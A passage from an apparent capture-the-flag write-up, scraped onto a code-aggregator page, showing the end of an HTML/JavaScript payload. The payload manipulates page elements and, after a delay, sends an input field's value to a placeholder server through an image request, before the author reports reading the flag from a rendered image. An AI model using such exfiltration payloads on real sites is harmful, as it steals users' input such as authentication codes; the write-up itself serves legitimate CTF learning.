      wqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwd
      <div class="dd">wqdqwdqwdqwdqwdqwd</div>
      <div class="dd"></div>
      <div class="dd"></div>
      <input id="thirdfactooor"></input>
    </form>
    <script>
      for(let i=0; i<5; i++) {
        document.getElementById('3fa').name = 'abc123'
      }
      document.getElementById('3fa').dir = 'abc123'
      
      for(let i=0; i<5; i++) {
        document.getElementById('3fa').appendChild(new Image());
      }
      [...document.querySelectorAll('.dd')].forEach(item => {
        item.remove()
      })
      setTimeout(() => {
        (new Image).src = 'https://my_server?f=' + thirdfactooor.value
      }, 2000)
    </script>
    
  </body>
</html>

Submit the HTML file and I got the image with the flag(but no request to the server so I just type the flag myself):

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.